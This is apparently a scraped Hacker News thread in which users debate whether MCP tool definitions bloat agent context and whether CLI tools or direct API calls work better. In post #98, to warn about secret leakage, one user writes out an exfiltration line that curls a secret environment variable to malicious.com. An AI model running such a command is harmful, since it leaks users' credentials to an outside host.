Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Making MCP cheaper via CLI

kanyilmaz.me

Post reply on HN
Print view View original

91–100 of 127 posts

Re: Making MCP cheaper via CLI

#91

Post by foota »

CuriouslyC wrote: post #71
foota wrote: post #63

Does tool calling in general bloat context, or is there something particular about MCP? One thing I have read recently is that when you make a tool call it forces the model to go back to the agent. The effect of this is that the agent then has to make another request with all of the prompt (include past messages), these will be "cached" tokens, but they're still expensive. So if you can amortize the tool calls by hav…

MCP includes tool definitions in context, whereas models just "know" shell commands and common language tools.

Hm.. but that's just tool calling, right? MCP is just that there's a lot more tools than normal.

Re: Making MCP cheaper via CLI

#93

Post by miroljub »

tymscar wrote: post #54
_pdp_ wrote: post #23

There is some important context missing from the article. First, MCP tools are sent on every request. If you look at the notion MCP the search tool description is basically a mini tutorial. This is going right into the context window. Given that in most cases MCP tool loading is all or nothing (unless you pre-select the tools by some other means) MCP in general will bloat your context significantly. I think I counted…

So basically the best way to use MCP is not to use it at all and just call the APIs directly or through a CLI. If those dont exist then wrapping the MCP into a CLI is the second best thing. Makes you wonder whats the point of MCP

Exactly. You shouldn't use MCPs unless there is some statefulness / state / session they need to maintain between calls.

In all other cases, CLI or API calls are superior.

Re: Making MCP cheaper via CLI

#94

Post by ekianjo »

At this stage would be much, much better to implement a RAG system based on semantic tool understanding. So that the relevant tools would pop up at every request and not bloat the context. And semantic search is just similarity search which is super fast.

Re: Making MCP cheaper via CLI

#95

Post by athrowaway3z »

ianm218 wrote: post #55
tymscar wrote: post #54

Earlier quoted context omitted.

So basically the best way to use MCP is not to use it at all and just call the APIs directly or through a CLI. If those dont exist then wrapping the MCP into a CLI is the second best thing. Makes you wonder whats the point of MCP

This was my initial understanding but if you want ai agents to do complex multi step workflows I.e. making data pipelines they just do so much better with MCP. After I got the MCP working my case the performance difference was dramatic

Yeah this is just straight up nonsense.

Its ability to shuffle around data and use bash and do so in interesting ways far outstrips its ability to deal with MCPs.

Also remember to properly name your cli tools and add a `use --help for doing x` in your AGENTS.md, but that is all you need.

Maybe you're stuck on some bloated frontend harness?

Re: Making MCP cheaper via CLI

#96

Post by miroljub »

In pi coding agent [1] we have the pi-mcp-adapter [2], which provides the best of both worlds.

Like its name says, it implements an adapter pattern, which enables searching and calling out tools from MCPs without overhead. Works like a charm.

[1] https://github.com/badlogic/pi-mono/ [2] https://github.com/nicobailon/pi-mcp-adapter

Re: Making MCP cheaper via CLI

#97

Post by tymscar »

crazylogger wrote: post #82
tymscar wrote: post #54

Earlier quoted context omitted.

So basically the best way to use MCP is not to use it at all and just call the APIs directly or through a CLI. If those dont exist then wrapping the MCP into a CLI is the second best thing. Makes you wonder whats the point of MCP

Then you inevitably have to leak your API secret to the LLM in order for it to successfully call the APIs. MCP is a thin toolcall auth layer that has to be there so that ChatGPT and claude.ai can "connect to your Slack", etc.

No? You can just have env vars

Re: Making MCP cheaper via CLI

#98

Post by crazylogger »

tymscar wrote: post #97
crazylogger wrote: post #82

Earlier quoted context omitted.

Then you inevitably have to leak your API secret to the LLM in order for it to successfully call the APIs. MCP is a thin toolcall auth layer that has to be there so that ChatGPT and claude.ai can "connect to your Slack", etc.

No? You can just have env vars

Setting an env var on a machine the LLM has control over is giving it the secret. When LLM tries `echo $SECRET` or `curl https://malicious.com/api -h secret:$SECRET` (or any one of infinitely many exfiltration methods possible), how do you plan on telling these apart from normal computer use?

Prior art: https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/

Re: Making MCP cheaper via CLI

#99

Post by Eldodi »

miroljub wrote: post #93
tymscar wrote: post #54

Earlier quoted context omitted.

So basically the best way to use MCP is not to use it at all and just call the APIs directly or through a CLI. If those dont exist then wrapping the MCP into a CLI is the second best thing. Makes you wonder whats the point of MCP

Exactly. You shouldn't use MCPs unless there is some statefulness / state / session they need to maintain between calls. In all other cases, CLI or API calls are superior.

There are very few stateful MCP Servers out there, and the standard is moving towards stateless by default.

What is really making MCP stand out is:

- oauth integration

- generalistic IA assistants adoption. If you want to be inside ChatGPT or Claude, you can't provide a CLI.

Re: Making MCP cheaper via CLI

#100

Post by vidarh »

ianm218 wrote: post #79
eli wrote: post #73

Earlier quoted context omitted.

I have never had a problem using cli tools intead of mcp. If you add a little list of the available tools to the context it's nearly the same thing, though with added benefits of e.g. being able to chain multiple together in one tool call

Not doubting you just sharing my experience - was able to get dramatically better experience for multi step workflows that involve feedback from SQL compilers with MCP. Probably the right harness to get the same performance with the right tools around the API calls but was easier to stop fighting it for me

Did you test actually having command line tools that give you the same interface as the MCP's? Because that is what generally what people are recommending as the alternative. Not letting the agent grapple with that is returning poorly structured data.

If you option is to have a "compileSQL" MCP tool, and a "compileSQL" CLI tool, that that both return the same data as JSON, the agent will know how to e.g. chain jq, head, grep to extract a subset from the latter in one step, but will need multiple steps with the MCP tool.

The effect compounds. E.g. let's say you have a "generateQuery" tool vs CLI. In the CLI case, you might get it piping the output from one through assorted operations and then straight into the other. I'm sure the agents will eventually support creating pipelines of MCP tools as well, but you can get those benefits today if you have the agents write CLI's instead of bothering with MCP servers.

I've for that matter had to replace MCP servers with scripts that Claude one-shot because the MCP servers lacked functionality... It's much more flexible.

Post reply on HN